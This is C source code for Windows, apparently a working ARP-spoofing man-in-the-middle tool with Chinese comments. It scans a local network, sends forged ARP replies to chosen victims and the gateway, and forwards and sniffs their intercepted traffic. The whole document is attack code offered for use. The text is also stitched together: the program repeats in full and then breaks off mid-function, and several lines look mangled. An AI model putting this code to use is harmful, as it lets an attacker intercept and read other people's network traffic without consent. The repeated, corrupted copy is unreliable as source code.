#include <stdlib.h>
#include <stdio.h>
#include <pcap.h> //winpcap的头文件
#include <winsock2.h>
#include <process.h> //多线程编程的头文件
#include <windows.h>
#include <Iphlpapi.h> //提取网关用的头文件
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"pcap")
#pragma comment(lib,"IPHlpApi")
////////////////////////////////////////////////////////////////////
#define IPTOSBUFFERS 12
#define MOSTCHEATNUMBER 256 //最大的欺骗数目
#define ETH_IP 0x0800 //定义各种标识的数值
#define ETH_ARP 0x0806
#define ARP_REPLY 0x0002
#define ARP_REQUEST 0x0001
#define ARP_HARDWARE 0x0001
/////////////////////////////////////////////////////////////////////
typedef struct ethdr //以太头结构
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr //arp头结构
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct acttiveIpwithMac //用于存储ip与对应mac的结构
{
acttiveIpwithMac* next;
unsigned long ip;
unsigned char mac[6];
}acttiveIpwithMac,*PacttiveIpwithMac;
////////////////////////////////////////////////////////////////////////////
char *iptos(u_long in); //用来将网络的ip地址转换成4字节形式
void ifprint(pcap_if_t *d); //显示pcap_if结构的信息
int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n); //判断两个mac是否相同
int getmmac(); //获得自己mac的函数.用pcap实现.当让还可以用GetAdaptersInfo来获得
unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x); //向局域网内发arp请求包扫描
unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x); //接受并存储局域网的arp响应信息
unsigned int _stdcall sproof(void *x); //欺骗某一特定的主机,需传递主机的序号,序号由扫描获得
unsigned int _stdcall transmitandsniffer(void *x); //转发包的线程
int Getgatewayip(ULONG choosedip); //获取本地的网关ip
//////////////////////////////////////////////////////////////////////////
PacttiveIpwithMac myip,gateip,Pipmachead=NULL; //定义全局变量记录我的和网关的ip和mac
ULONG mynetmask; //我的子网掩码
pcap_t *slecadopt; //指向选择网卡的指针
int Ssendover=0; //用于控制线程的标志
int cheat[MOSTCHEATNUMBER]; //用于控制欺骗线程的标志
///////////////////////////////////////////////////////////////////////////
int main()
{
myip=new acttiveIpwithMac; //记录自己的ip
gateip=new acttiveIpwithMac; //记录网关的ip
u_long sendarphd,recvarphd,transhd,sproofhd[MOSTCHEATNUMBER]; //用于线程控制的变量
PacttiveIpwithMac z,k,j;
unsigned sendarpid,recvarpid,transid,sproofid[MOSTCHEATNUMBER]; //用于线程控制的变量
pcap_if_t *alldevs,*d; //pcap里对网卡的控制量
int i=0,m,maxactive,inum;
char error[PCAP_ERRBUF_SIZE];
/* 获得网卡的列表 */
if (pcap_findalldevs(&alldevs, error) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", error);
return -1;
}
/* 打印网卡信息 */
for(d=alldevs; d; d=d->next)
{
printf("%d. ", ++i);
ifprint(d); /* 循环调用ifprint() 来显示pcap_if结构的信息*/
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum); //输入要选择打开的网卡号
if(inum < 1 || inum > i) //判断号的合法性
{
printf("\nInterface number out of range.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
/* 找到要选择的网卡结构 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/*找到我的ip*/
myip->ip=((struct sockaddr_in *)d->addresses->addr)->sin_addr.s_addr;
/*获得选择网卡的子网掩码*/
mynetmask=((struct sockaddr_in *)d->addresses->netmask)->sin_addr.s_addr;
//printf("netmask:%s\n\n",iptos(mynetmask));
/* 打开选择的网卡 */
if((slecadopt = pcap_open_live(d->name, 1000, 1, 1, error) ) == NULL)
{
fprintf(stderr,"\nError opening adapter: %s\n", error);
pcap_freealldevs(alldevs);
return -1;
}
/*获取网关的信息*/
if(Getgatewayip(myip->ip))
printf("\tGateway: %s\n",iptos(gateip->ip));
/*获取本地mac*/
while(getmmac()==0);
printf("my mac: %02x:%02x:%02x:%02x:%02x:%02x\n\n",myip->mac[0],myip->mac[1],myip->mac[2],myip->mac[3],myip->mac[4],myip->mac[5]);
/*扫描局域网内活动主机*/
sendarphd=_beginthreadex(NULL,0,sendpackettogetallacttiveIpwithMac,0,0,&sendarpid);//开启arp扫描包线程
recvarphd=_beginthreadex(NULL,0,recvpackettogetallacttiveIpwithMac,0,0,&recvarpid);//开启接收arp响应包线程
WaitForSingleObject((HANDLE)sendarphd,INFINITE); //主线程停止等待发送线程结束
for(m=5;m>0;m--)
{
printf("scanning\n");
Sleep(500); //等待回应包到达,共等2500ms.不够可调
}
Ssendover=1;//置标志,停止接收线程
WaitForSingleObject((HANDLE)recvarphd,INFINITE); //主线程停止等待接收线程结束
if(Pipmachead!=NULL)
{
/*去处重复的活动主机*/
for(k=Pipmachead;k->next!=NULL;k=k->next)
for(z=k;z->next!=NULL;)
{
if((k->ip==z->next->ip)&&(macequal(k,z->next)))
{
j=z->next;
z->next=j->next;
delete j;
}
else
z=z->next;
}
/*输出列表*/
for(z=Pipmachead,i=1;z!=NULL;z=z->next,i++)
printf("%-3d ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(z->ip),z->mac[0],z->mac[1],z->mac[2],z->mac[3],z->mac[4],z->mac[5]);
}
for(k=Pipmachead;k->next!=NULL;k=k->next)
if(k->ip==gateip->ip)
gateip=k;
maxactive=i-1;
CloseHandle((HANDLE)sendarphd);
CloseHandle((HANDLE)recvarphd);
transhd=_beginthreadex(NULL,0,transmitandsniffer,0,0,&transid); //开启转发线程
printf("transmitandsniffer已经开始了!!\n");
for(i=0;i<256;i++)
cheat=0;
printf("已经得到了本局域网的活动主机!!!\n选择你想欺骗的机器序号一次一台:");
printf("选择你想欺骗的机器序号:\n");
for(;;)
{
scanf("%d",&i);
if(i>0&&i<=maxactive)
{
if(cheat[i-1]==0)
{
cheat[i-1]=1;
sproofhd[i-1]=_beginthreadex(NULL,0,sproof,&i,0,&sproofid[i-1]);
}
else
printf("\n%d号机已经欺骗了!!大佬!!\n",i);
}
else if(i<0&&i>=-maxactive)
{
if(cheat[-i-1]==1)
{
cheat[-i-1]=0;
CloseHandle((HANDLE)sproofhd[i-1]);
}
else
printf("\n%d号机没欺骗怎么结束啊!!大佬!!\n",-i);
}
else if(i>maxactive||-i>maxactive)
{
printf("\n没有这么多机器,大哥,只有%d台!!\n",maxactive);
}
else
{
for(i=0;i<256;i++)
cheat=0;
}
Sleep(100);
Sleep(100);
Sleep(100);
Sleep(100);
for(i=0;i<256;i++)
if(cheat==1)
printf("\n%d号机正在被欺骗和嗅探选择,想退出对此机的嗅探输入-%d",i+1,i+1);
Sleep(100);
Sleep(100);
printf("\n选择你想嗅探的机器序号:");
}
return 1;
}
char *iptos(u_long in)
{
static char output[IPTOSBUFFERS][3*4+3+1];
static short which;
u_char *p;
p = (u_char *)∈
which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
return output[which];
}
int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n)
{
int i=0;
if(memcmp(n->mac,m->mac,6)==0)
i=1;
return i;
}
void ifprint(pcap_if_t *d)
{
pcap_addr_t *a;
/* Name */
printf("%s\n",d->name);
/* Description */
if (d->description)
printf("\tDescription: %s\n",d->description);
/* Loopback Address*/
printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");
/* IP addresses */
for(a=d->addresses;a;a=a->next)
{
printf("\tAddress Family: #%d\n",a->addr->sa_family);
/*关于 sockaddr_in 结构请参考其他的网络编程书*/
switch(a->addr->sa_family)
{
case AF_INET:
printf("\tAddress Family Name: AF_INET\n");//打印网络地址类型
if (a->addr)//打印IP地址
printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
if (a->netmask)//打印掩码
printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
if (a->broadaddr)//打印广播地址
printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
if (a->dstaddr)//目的地址
printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
break;
default:
printf("\tAddress Family Name: Unknown\n");
break;
}
}
}
int Getgatewayip(ULONG choosedip)
{
PIP_ADAPTER_INFO pAdapterInfo;
PIP_ADAPTER_INFO pAdapter = NULL;
DWORD dwRetVal = 0;;
//ULONG p;
pAdapterInfo = (IP_ADAPTER_INFO *) malloc( sizeof(IP_ADAPTER_INFO) );
ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);
// Make an initial call to GetAdaptersInfo to get
// the necessary size into the ulOutBufLen variable
if (GetAdaptersInfo( pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW)
{
free(pAdapterInfo); //malloc动态声请的空间要free
pAdapterInfo = (IP_ADAPTER_INFO *) malloc (ulOutBufLen);
}
if ((dwRetVal = GetAdaptersInfo( pAdapterInfo, &ulOutBufLen)) == NO_ERROR)
{
pAdapter = pAdapterInfo;
while (pAdapter)
{
if(myip->ip==inet_addr(pAdapter->IpAddressList.IpAddress.String))
{
gateip->ip=inet_addr(pAdapter->GatewayList.IpAddress.String);
return 1;
}
printf("\t***\n");
pAdapter = pAdapter->Next;
}
}
return 0;
}
int getmmac()
{
unsigned char sendbuf[42];
int i=7,k;
ETHDR eth;
ARPHDR arp;
struct pcap_pkthdr * pkt_header;
u_char * pkt_data;
for(k=0;k<6;k++)
{
eth.eh_dst[k]=0xff;
eth.eh_src[k]=0x0f;
arp.arp_sha[k]=0x0f;
arp.arp_tha[k]=0x00;
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_tpa=myip->ip;
arp.arp_spa=inet_addr("127.0.0.2"); //随便设的请求方ip
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
if(pcap_sendpacket(slecadopt,sendbuf,42)==0)
{
printf("PacketSend succeed\n\n");
}
else
{
printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
return 0;
}
while((k=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0)
{
if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==inet_addr("127.0.0.2"))
{
for(i=0;i<6;i++)
{
myip->mac=*(unsigned char*)(pkt_data+22+i);
}
break;
}
}
if(i==6)
{
return 1;
}
else
{
return 0;
}
}
unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x)
{
ULONG tip,subnetsta,subnetend;
unsigned char sendbuf[42];
int k;
ETHDR eth;
ARPHDR arp;
subnetsta=htonl(myip->ip&mynetmask); //计算内网ip起点
subnetend=htonl(htonl(subnetsta)|(~mynetmask)); //计算内网ip结束
for(k=0;k<6;k++)
{
eth.eh_dst[k]=0xff;
eth.eh_src[k]=myip->mac[k];
arp.arp_sha[k]=myip->mac[k];
arp.arp_tha[k]=0x00;
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_spa=myip->ip;
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
for(tip=subnetsta;tip<=subnetend;tip++)
{
arp.arp_tpa=htonl(tip);
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
if(pcap_sendpacket(slecadopt,sendbuf,42)!=0)
{
printf("Getallactive ip PacketSendPacket in getmine Error: %d\n",GetLastError());
return 0;
}
}
return 1;
}
unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x)
{
struct pcap_pkthdr * pkt_header;
u_char * pkt_data;
PacttiveIpwithMac p,q;
int i;
while((pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>0)
{
if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==myip->ip)
{
p=new acttiveIpwithMac;
p->next=NULL;
p->ip=*(unsigned long*)(pkt_data+28);
for(i=0;i<6;i++)
{
p->mac=*(unsigned char*)(pkt_data+22+i);
}
if(Pipmachead==NULL)
{
Pipmachead=p;
q=p;
}
else
{
q->next=p;
q=p;
}
}
if(Ssendover==1)
{
return 1;
}
}
return 1;
}
unsigned int _stdcall transmitandsniffer(void *x)
{
struct changemac
{
unsigned char mac[12];
};
unsigned char bcast[6];
memset(bcast,0xff,sizeof(bcast));
unsigned char sendbuf[1600];
struct pcap_pkthdr * pkt_header;
u_char * pkt_data;
changemac *cmac,*togatewaymac;
PacttiveIpwithMac z;
int i,j;
cmac=new changemac;
togatewaymac=new changemac;
memcpy(togatewaymac->mac,gateip->mac,6);
memcpy(togatewaymac->mac+6,myip->mac,6);
//printf("1have run to here!!!\n");
while((j=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0)
{
if(j==0)
{
//printf("2have run to here!!!\n");
continue;
}
if(*(unsigned short *)(pkt_data+12)==htons(ETH_IP)&&(!(memcmp(pkt_data+6,myip->mac,6)==0))&&*(unsigned long *)(pkt_data+30)!=myip->ip&&(!(memcmp(pkt_data,bcast,6)==0)))//(*(unsigned char*)(pkt_data+6)==myip->mac[0]&&*(unsigned char*)(pkt_data+7)==myip->mac[1]&&*(unsigned char*)(pkt_data+8)==myip->mac[2]&&*(unsigned char*)(pkt_data+9)==myip->mac[3]&&*(unsigned char*)(pkt_data+10)==myip->mac[4]&&*(unsigned char*)(pkt_data+11)==myip->mac[5])))
{
//if()//(!(*(unsigned char*)(pkt_data+0)==0xff&&*(unsigned char*)(pkt_data+1)==0xff&&*(unsigned char*)(pkt_data+2)==0xff&&*(unsigned char*)(pkt_data+3)==0xff&&*(unsigned char*)(pkt_data+4)==0xff&&*(unsigned char*)(pkt_data+5)==0xff))&&)
//{ //for(i=0;i<6;i++)
// printf("%02x:",*(unsigned char*)(pkt_data+i));
//printf("33have run to here!!!\n");
memcpy(sendbuf,pkt_data,pkt_header->caplen);
memcpy(sendbuf,togatewaymac,12);
for(z=Pipmachead;z!=NULL;z=z->next)
{//printf("444have run to here!!!\n");
if(*(unsigned long *)(pkt_data+30)==z->ip)
{
i=0;
//printf("jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjip=%s",iptos(z->ip));
//for(;i<6;i++)
//cmac->mac=z->mac;
memcpy(cmac->mac,z->mac,6);
//for(;i<12;i++)
//cmac->mac=myip->mac[i-6];
memcpy(cmac->mac+6,myip->mac,6);
//memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,cmac,12);
/*if(*///!=0)
break;
//{
// printf("tansmit Error: %d\n",GetLastError());
// return 0;
// }
}
}
pcap_sendpacket(slecadopt,sendbuf,pkt_header->caplen);
//}//printf("getip:%s len:%d\n",iptos(*(unsigned long *)(pkt_data+30)),pkt_header->caplen);
}
}
return 1;
}
unsigned int _stdcall sproof(void *x)
{
int j,i=*(int*)x;
unsigned char sendbuftogate[42],sendbuftosp[42],rsendbuftogate[42],rsendbuftosp[42];
PacttiveIpwithMac spip;
ETHDR eth;
ARPHDR arp;
int k;
for(spip=Pipmachead,j=0;j<i-1;spip=spip->next,j++);
printf("%-3d ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(spip->ip),spip->mac[0],spip->mac[1],spip->mac[2],spip->mac[3],spip->mac[4],spip->mac[5]);
for(k=0;k<6;k++)
{
eth.eh_dst[k]=gateip->mac[k];
eth.eh_src[k]=myip->mac[k];
arp.arp_sha[k]=myip->mac[k];
arp.arp_tha[k]=gateip->mac[k];
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
arp.arp_spa=spip->ip;
arp.arp_tpa=gateip->ip;
memset(sendbuftogate,0,sizeof(sendbuftogate));
memcpy(sendbuftogate,e,sizeof(eth));
memcpy(sendbuftogate+sizeof(eth),&arp,sizeof(arp));
for(k=0;k<6;k++)
{
eth.eh_dst[k]=spip->mac[k];
eth.eh_src[k]=myip->mac[k];
arp.arp_sha[k]=myip->mac[k];
arp.arp_tha[k]=spip->mac[k];
}
arp.arp_spa=gateip->ip;
arp.arp_tpa=spip->ip;
memset(sendbuftosp,0,sizeof(sendbuftosp));
memcpy(sendbuftosp,e,sizeof(eth));
memcpy(sendbuftosp+sizeof(eth),&arp,sizeof(arp));
for(k=0;k<6;k++)
{
eth.eh_dst[k]=spip->mac[k];
eth.eh_src[k]=gateip->mac[k];
arp.arp_sha[k]=gateip->mac[k];
arp.arp_tha[k]=spip->mac[k];
}
arp.arp_spa=gateip->ip;
arp.arp_tpa=spip->ip;
memset(rsendbuftosp,0,sizeof(rsendbuftosp));
memcpy(rsendbuftosp,e,sizeof(eth));
memcpy(rsendbuftosp+sizeof(eth),&arp,sizeof(arp));
for(k=0;k<6;k++)
{
eth.eh_dst[k]=gateip->mac[k];
eth.eh_src[k]=spip->mac[k];
arp.arp_sha[k]=spip->mac[k];
arp.arp_tha[k]=gateip->mac[k];
}
arp.arp_spa=spip->ip;
arp.arp_tpa=gateip->ip;
memset(rsendbuftogate,0,sizeof(rsendbuftogate));
memcpy(rsendbuftogate,e,sizeof(eth));
memcpy(rsendbuftogate+sizeof(eth),&arp,sizeof(arp));
printf("已经进入%d号机的欺骗!!!\n",i);
while(TRUE)
{
if(pcap_sendpacket(slecadopt,sendbuftogate,42)!=0)
{
printf("sendbuftogate Error: %d\n",GetLastError());
return 0;
}
if(pcap_sendpacket(slecadopt,sendbuftosp,42)!=0)
{
printf("sendbuftosp Error: %d\n",GetLastError());
return 0;
}
Sleep(980);
if(cheat[i-1]==0) //重置被欺骗的目标机!!
{
for(j=10;j>0;j--)
{
if(pcap_sendpacket(slecadopt,rsendbuftogate,42)!=0)
{
printf("sendbuftogate Error: %d\n",GetLastError());
return 0;
}
if(pcap_sendpacket(slecadopt,rsendbuftosp,42)!=0)
{
printf("sendbuftosp Error: %d\n",GetLastError());
return 0;
}
}
printf("已经退出对%d号机的欺骗!!!\n",i);
return 1;
}
}
}
#include <stdio.h>
#include <pcap.h> //winpcap的头文件
#include <winsock2.h>
#include <process.h> //多线程编程的头文件
#include <windows.h>
#include <Iphlpapi.h> //提取网关用的头文件
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"pcap")
#pragma comment(lib,"IPHlpApi")
////////////////////////////////////////////////////////////////////
#define IPTOSBUFFERS 12
#define MOSTCHEATNUMBER 256 //最大的欺骗数目
#define ETH_IP 0x0800 //定义各种标识的数值
#define ETH_ARP 0x0806
#define ARP_REPLY 0x0002
#define ARP_REQUEST 0x0001
#define ARP_HARDWARE 0x0001
/////////////////////////////////////////////////////////////////////
typedef struct ethdr //以太头结构
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr //arp头结构
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct acttiveIpwithMac //用于存储ip与对应mac的结构
{
acttiveIpwithMac* next;
unsigned long ip;
unsigned char mac[6];
}acttiveIpwithMac,*PacttiveIpwithMac;
////////////////////////////////////////////////////////////////////////////
char *iptos(u_long in); //用来将网络的ip地址转换成4字节形式
void ifprint(pcap_if_t *d); //显示pcap_if结构的信息
int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n); //判断两个mac是否相同
int getmmac(); //获得自己mac的函数.用pcap实现.当让还可以用GetAdaptersInfo来获得
unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x); //向局域网内发arp请求包扫描
unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x); //接受并存储局域网的arp响应信息
unsigned int _stdcall sproof(void *x); //欺骗某一特定的主机,需传递主机的序号,序号由扫描获得
unsigned int _stdcall transmitandsniffer(void *x); //转发包的线程
int Getgatewayip(ULONG choosedip); //获取本地的网关ip
//////////////////////////////////////////////////////////////////////////
PacttiveIpwithMac myip,gateip,Pipmachead=NULL; //定义全局变量记录我的和网关的ip和mac
ULONG mynetmask; //我的子网掩码
pcap_t *slecadopt; //指向选择网卡的指针
int Ssendover=0; //用于控制线程的标志
int cheat[MOSTCHEATNUMBER]; //用于控制欺骗线程的标志
///////////////////////////////////////////////////////////////////////////
int main()
{
myip=new acttiveIpwithMac; //记录自己的ip
gateip=new acttiveIpwithMac; //记录网关的ip
u_long sendarphd,recvarphd,transhd,sproofhd[MOSTCHEATNUMBER]; //用于线程控制的变量
PacttiveIpwithMac z,k,j;
unsigned sendarpid,recvarpid,transid,sproofid[MOSTCHEATNUMBER]; //用于线程控制的变量
pcap_if_t *alldevs,*d; //pcap里对网卡的控制量
int i=0,m,maxactive,inum;
char error[PCAP_ERRBUF_SIZE];
/* 获得网卡的列表 */
if (pcap_findalldevs(&alldevs, error) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", error);
return -1;
}
/* 打印网卡信息 */
for(d=alldevs; d; d=d->next)
{
printf("%d. ", ++i);
ifprint(d); /* 循环调用ifprint() 来显示pcap_if结构的信息*/
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum); //输入要选择打开的网卡号
if(inum < 1 || inum > i) //判断号的合法性
{
printf("\nInterface number out of range.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
/* 找到要选择的网卡结构 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/*找到我的ip*/
myip->ip=((struct sockaddr_in *)d->addresses->addr)->sin_addr.s_addr;
/*获得选择网卡的子网掩码*/
mynetmask=((struct sockaddr_in *)d->addresses->netmask)->sin_addr.s_addr;
//printf("netmask:%s\n\n",iptos(mynetmask));
/* 打开选择的网卡 */
if((slecadopt = pcap_open_live(d->name, 1000, 1, 1, error) ) == NULL)
{
fprintf(stderr,"\nError opening adapter: %s\n", error);
pcap_freealldevs(alldevs);
return -1;
}
/*获取网关的信息*/
if(Getgatewayip(myip->ip))
printf("\tGateway: %s\n",iptos(gateip->ip));
/*获取本地mac*/
while(getmmac()==0);
printf("my mac: %02x:%02x:%02x:%02x:%02x:%02x\n\n",myip->mac[0],myip->mac[1],myip->mac[2],myip->mac[3],myip->mac[4],myip->mac[5]);
/*扫描局域网内活动主机*/
sendarphd=_beginthreadex(NULL,0,sendpackettogetallacttiveIpwithMac,0,0,&sendarpid);//开启arp扫描包线程
recvarphd=_beginthreadex(NULL,0,recvpackettogetallacttiveIpwithMac,0,0,&recvarpid);//开启接收arp响应包线程
WaitForSingleObject((HANDLE)sendarphd,INFINITE); //主线程停止等待发送线程结束
for(m=5;m>0;m--)
{
printf("scanning\n");
Sleep(500); //等待回应包到达,共等2500ms.不够可调
}
Ssendover=1;//置标志,停止接收线程
WaitForSingleObject((HANDLE)recvarphd,INFINITE); //主线程停止等待接收线程结束
if(Pipmachead!=NULL)
{
/*去处重复的活动主机*/
for(k=Pipmachead;k->next!=NULL;k=k->next)
for(z=k;z->next!=NULL;)
{
if((k->ip==z->next->ip)&&(macequal(k,z->next)))
{
j=z->next;
z->next=j->next;
delete j;
}
else
z=z->next;
}
/*输出列表*/
for(z=Pipmachead,i=1;z!=NULL;z=z->next,i++)
printf("%-3d ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(z->ip),z->mac[0],z->mac[1],z->mac[2],z->mac[3],z->mac[4],z->mac[5]);
}
for(k=Pipmachead;k->next!=NULL;k=k->next)
if(k->ip==gateip->ip)
gateip=k;
maxactive=i-1;
CloseHandle((HANDLE)sendarphd);
CloseHandle((HANDLE)recvarphd);
transhd=_beginthreadex(NULL,0,transmitandsniffer,0,0,&transid); //开启转发线程
printf("transmitandsniffer已经开始了!!\n");
for(i=0;i<256;i++)
cheat=0;
printf("已经得到了本局域网的活动主机!!!\n选择你想欺骗的机器序号一次一台:");
printf("选择你想欺骗的机器序号:\n");
for(;;)
{
scanf("%d",&i);
if(i>0&&i<=maxactive)
{
if(cheat[i-1]==0)
{
cheat[i-1]=1;
sproofhd[i-1]=_beginthreadex(NULL,0,sproof,&i,0,&sproofid[i-1]);
}
else
printf("\n%d号机已经欺骗了!!大佬!!\n",i);
}
else if(i<0&&i>=-maxactive)
{
if(cheat[-i-1]==1)
{
cheat[-i-1]=0;
CloseHandle((HANDLE)sproofhd[i-1]);
}
else
printf("\n%d号机没欺骗怎么结束啊!!大佬!!\n",-i);
}
else if(i>maxactive||-i>maxactive)
{
printf("\n没有这么多机器,大哥,只有%d台!!\n",maxactive);
}
else
{
for(i=0;i<256;i++)
cheat=0;
}
Sleep(100);
Sleep(100);
Sleep(100);
Sleep(100);
for(i=0;i<256;i++)
if(cheat==1)
printf("\n%d号机正在被欺骗和嗅探选择,想退出对此机的嗅探输入-%d",i+1,i+1);
Sleep(100);
Sleep(100);
printf("\n选择你想嗅探的机器序号:");
}
return 1;
}
char *iptos(u_long in)
{
static char output[IPTOSBUFFERS][3*4+3+1];
static short which;
u_char *p;
p = (u_char *)∈
which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
return output[which];
}
int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n)
{
int i=0;
if(memcmp(n->mac,m->mac,6)==0)
i=1;
return i;
}
void ifprint(pcap_if_t *d)
{
pcap_addr_t *a;
/* Name */
printf("%s\n",d->name);
/* Description */
if (d->description)
printf("\tDescription: %s\n",d->description);
/* Loopback Address*/
printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");
/* IP addresses */
for(a=d->addresses;a;a=a->next)
{
printf("\tAddress Family: #%d\n",a->addr->sa_family);
/*关于 sockaddr_in 结构请参考其他的网络编程书*/
switch(a->addr->sa_family)
{
case AF_INET:
printf("\tAddress Family Name: AF_INET\n");//打印网络地址类型
if (a->addr)//打印IP地址
printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
if (a->netmask)//打印掩码
printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
if (a->broadaddr)//打印广播地址
printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
if (a->dstaddr)//目的地址
printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
break;
default:
printf("\tAddress Family Name: Unknown\n");
break;
}
}
}
int Getgatewayip(ULONG choosedip)
{
PIP_ADAPTER_INFO pAdapterInfo;
PIP_ADAPTER_INFO pAdapter = NULL;
DWORD dwRetVal = 0;;
//ULONG p;
pAdapterInfo = (IP_ADAPTER_INFO *) malloc( sizeof(IP_ADAPTER_INFO) );
ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);
// Make an initial call to GetAdaptersInfo to get
// the necessary size into the ulOutBufLen variable
if (GetAdaptersInfo( pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW)
{
free(pAdapterInfo); //malloc动态声请的空间要free
pAdapterInfo = (IP_ADAPTER_INFO *) malloc (ulOutBufLen);
}
if ((dwRetVal = GetAdaptersInfo( pAdapterInfo, &ulOutBufLen)) == NO_ERROR)
{
pAdapter = pAdapterInfo;
while (pAdapter)
{
if(myip->ip==inet_addr(pAdapter->IpAddressList.IpAddress.String))
{
gateip->ip=inet_addr(pAdapter->GatewayList.IpAddress.String);
return 1;
}
printf("\t***\n");
pAdapter = pAdapter->Next;
}
}
return 0;
}
int getmmac()
{
unsigned char sendbuf[42];
int i=7,k;
ETHDR eth;
ARPHDR arp;
struct pcap_pkthdr * pkt_header;
u_char * pkt_data;
for(k=0;k<6;k++)
{
eth.eh_dst[k]=0xff;
eth.eh_src[k]=0x0f;
arp.arp_sha[k]=0x0f;
arp.arp_tha[k]=0x00;
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_tpa=myip->ip;
arp.arp_spa=inet_addr("127.0.0.2"); //随便设的请求方ip
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
if(pcap_sendpacket(slecadopt,sendbuf,42)==0)
{
